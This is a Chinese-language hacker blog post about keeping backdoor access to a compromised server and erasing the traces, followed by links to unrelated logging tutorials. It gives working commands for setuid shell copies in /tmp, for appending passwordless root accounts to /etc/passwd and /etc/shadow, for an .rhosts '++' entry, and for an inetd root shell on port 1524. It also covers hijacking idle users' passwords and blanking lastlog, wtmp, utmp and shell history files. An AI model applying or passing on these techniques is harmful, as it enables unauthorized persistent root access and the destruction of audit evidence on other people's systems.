系统后门手法和日志的擦除

好不容易搞了台服务器很不容易,如果被发现了就没了!可惜啊!

其实,开后门的方法有很多种

1. setuid

#cp /bin/sh /tmp/.sh

#chmod u+s /tmp/.sh

加上 suid 位到shell上,虽然很简单,但容易被发现

2. echo "hack::0:0::/:/bin/csh" >> /etc/passwd

即给系统增加一个 id 为 0(root)的帐号,无口令。

但管理员很快就可以发现哦!

3.echo "++">>/.rhosts

如果这个系统开了512,513的port呵呵,就可以

把一个名为hack加到.rhosts文件中,rlogin登陆,无要密码!

4.修改 sendmail.cf文件 增加一个"wiz" 命令;

然后telnet www.xxx.com 25后,wiz。。。。ok

 

5。 改已有用户密码

如果主机上有好多用户,当你看到一个用户好久没登入了,就可以改他的密码

#passwd 可用passwd命令。

6.rootkit后门包

网上有好多地方下载,找找,自己试试看,我也在测试中!不会啊!!!!

-Bsd 后门:

echo love::92:206::0:0::/:/bin/sh >> /etc/master.passwd

/usr/sbin/pwd_mkdb /etc/master.passwd

这里我添加一个love的用户用户的ID是92;ROOT的是0哦!

好了我们添加一个用户了!那么权限不够怎么办呢?

cp /bin/sh /tmp/.x (这个x就是随便选个,好像 .sh , .a , .b 等等)

chmod 777 /tmp/.x

chmod +s /tmp/.x

用这个给他做个小后门吧

以后我们登陆的这台肉鸡以后就可以用tmp/.x来提升权限了。

-AIX 后门 (Kelvinzhou教我的,感谢你)

echo "ingreslock stream tcp nowait root /bin/sh">>/tmp/.x

/usr/sbin/inetd -s /tmp/.x

rm /tmp/.x

这样你就可以telnet ip 1524直接得到rootshell

-SunOs 后门

echo "love::0:0::/:/bin/bash" >> /etc/passwd

echo "love::::::::" >> /etc/shadow

当你以telnet上时,你就是root了!不过不保险!

-Linux 后门

echo "love::0:0::/:/bin/bash" >> /etc/passwd

echo "love::::::::" >> /etc/shadow

有时间的话,就多留几个后门!

留了后门就要擦你的PP了,不是吧,这也忘了!

Unix系统日志文件通常是存放在 "/var/log and /var/adm" 目录下的。通常我们可以查看syslog.conf来看看日志配置的情况.如:cat /etc/syslog.conf

一般我们要清除的日志有

lastlog

utmp

wtmp

messages

syslog

sulog

此外,各种shell还会记录用户使用的命令历史,它使用用户主目录下的文件来记录这些命令历史,通常这个文件的名字为.sh_history (ksh),.history (csh),或.bash_history (bash)等。

如果你有像wipe.c 那样的清日志的程序,就可以让它来做,不然的话就要手动了! 建议不要用rm掉日志,最好是,把日志改编,

比如:

#cat > /usr/log/lastlog

  ->这里是你要的写的东西,也可以不输入哦!

^d ->这里的^d是按键 ctrl + d! 结束!

#

好了不说了,要学的还好多,我也很菜!see!

(0)

相关推荐

  • 系统后门手法和日志的擦除

    好不容易搞了台服务器很不容易,如果被发现了就没了!可惜啊! 其实,开后门的方法有很多种 1. setuid #cp /bin/sh /tmp/.sh #chmod u+s /tmp/.sh 加上 suid 位到shell上,虽然很简单,但容易被发现 2. echo "hack::0:0::/:/bin/csh" >> /etc/passwd 即给系统增加一个 id 为 0(root)的帐号,无口令. 但管理员很快就可以发现哦! 3.echo "++"&g

  • 在 Linux 系统中手动滚动日志的方法

    日志滚动log rotation在 Linux 系统上是再常见不过的一个功能了,它为系统监控和故障排查保留必要的日志内容,同时又防止过多的日志造成单个日志文件太大. 日志滚动的过程是这样的:在一组日志文件之中,编号最大的(最旧的)一个日志文件会被删除,其余的日志文件编号则依次增大并取代较旧的日志文件,而较新的文件则取代它作为当前的日志文件.这一个过程很容易就可以实现自动化,在细节上还能按需作出微调. 使用 logrotate 命令可以手动执行日志滚动的操作.本文将要介绍的就是手动进行日志滚动的方

  • linux系统中c++写日志文件功能分享

    简化了glog,只保留了写日志文件的功能,只是改写了linux版本,win版本未改写,可以用LOG(INFO)<< 输出日志也可用LOG_IF(INFO,condition)<<输出日志也可直接调用日志类Logger::GetInstance().Error 等方式写日志初始化时调用 InitLogging(argv[0],INFO,"./log/test");第一个参数是路径,第二个参数是最低日志级别,第三个参数表示日志文件的前缀和文件夹 FileHelper

  • Android 日志系统Logger源代码详细介绍

    我们知道,在Android系统中,提供了一个轻量级的日志系统,这个日志系统是以驱动程序的形式实现在内核空间的,而在用户空间分别提供了Java接口和C/C++接口来使用这个日志系统,取决于你编写的是Android应用程序还是系统组件.在前面的文章浅谈Android系统开发中LOG的使用中,已经简要地介绍了在Android应用程序开发中Log的使用方法,在这一篇文章中,我们将更进一步地分析Logger驱动程序的源代码,使得我们对Android日志系统有一个深刻的认识. 既然Android 日志系统是

  • 在Linux系统上查看Apache服务器的错误日志

    错误日志和访问日志文件为系统管理员提供了有用的信息,比如,为 Web 服务器排障,保护系统不受各种各样的恶意活动侵犯,或者只是进行各种各样的分析以监控 HTTP 服务器.根据你 Web 服务器配置的不同,其错误/访问日志可能放在你系统中不同位置. 本文可以帮助你找到Linux上的Apache错误日志. Debian,Ubuntu或Linux Mint上的Apache错误日志位置 默认的错误日志 在基于Debian的Linux上,系统范围的Apache错误日志默认位置是/var/log/apach

  • Linux系统中日志详细介绍

    目录 1.日志相关服务 2.系统中常见的日志文件 1.日志相关服务 在CentOS 6.x中日志服务已经由rsyslogd取代了原先的syslogd服务.RedHat认为syslogd已经不能满足在工作中的需求,rsyslogd服务支持的功能更加丰富. rsyslogd服务相比syslogd服务具有一些新的特点: 基于TCP网络协议传输日志信息. 更安全的网络传输方式. 有日志消息的及时分析框架. 后台数据库.配置文件中可以写简单的逻辑判断. 与syslog配置文件相兼容. 2.系统中常见的日志

  • jdk-logging log4j logback日志系统实现机制原理介绍

    目录 1 需要解决的疑惑 2 jdk自带的logging 2.1 使用案例 2.2 简单过程分析: 3 log4j1 3.1 使用案例 3.1.1 需要的jar包 3.1.2 使用方式 3.2 获取Logger的原理 3.3 主要对象总结 4 log4j2 4.1 背景介绍 4.2 log4j2的使用案例 4.2.1 需要的jar包 4.2.2 使用方式 4.3 使用过程简单分析 4.4 主要对象总结 5 logback 5.1 使用案例 5.1.1 需要的jar包 5.1.2 使用方式 5.3

  • 典型入侵日志分析

    1.FTP日志分析 FTP日志和WWW日志在默认情况下,每天生成一个日志文件,包含了该日的一切记录,文件名通常为ex(年份)(月份)(日期).例如ex040419,就是2004年4月19日产生的日志,用记事本可直接打开,普通的有入侵行为的日志一般是这样的: #Software: Microsoft Internet Information Services 5.0(微软IIS5.0) #Version: 1.0 (版本1.0) #Date: 20040419 0315 (服务启动时间日期) #F

  • Linux系统中掩耳盗铃的sudo配置

    今天在这里讨论Linux系统中一个非常滑稽的系统配置失误,就是sudo,为什么说是滑稽的配置呢,就是因为如果配置不当的话,普通用户非常容易就可以提权到root用户,而且没有一点技术含量,系统管理员自己以为已经做好了权限管理,其实如果配置不当,权限漏洞已经出现. 很多公司Linux系统都会用到sudo来配置普通用户可以执行的超级用户权限,一是为了系统管理员更安全的操作系统,二是可以为研发人员提供可控的权限范围,下面就看一下我们在系统中常见的sudo配置文件. 复制代码 代码如下: admin AL

  • 详解ASP.NET Core应用中如何记录和查看日志

    日志记录不仅对于我们开发的应用,还是对于ASP.NET Core框架功能都是一项非常重要的功能特性.我们知道ASP.NET Core使用的是一个极具扩展性的日志系统,该系统由Logger.LoggerFactory和LoggerProvider这三个核心对象组成.我们可以通过简单的配置实现对LoggerFactory的定制,以及对LoggerProvider添加. 一. 配置LoggerFactory 我们在上面一节演示了一个展示ASP.NET Core默认注册服务的实例,细心的读者一定会看到显

随机推荐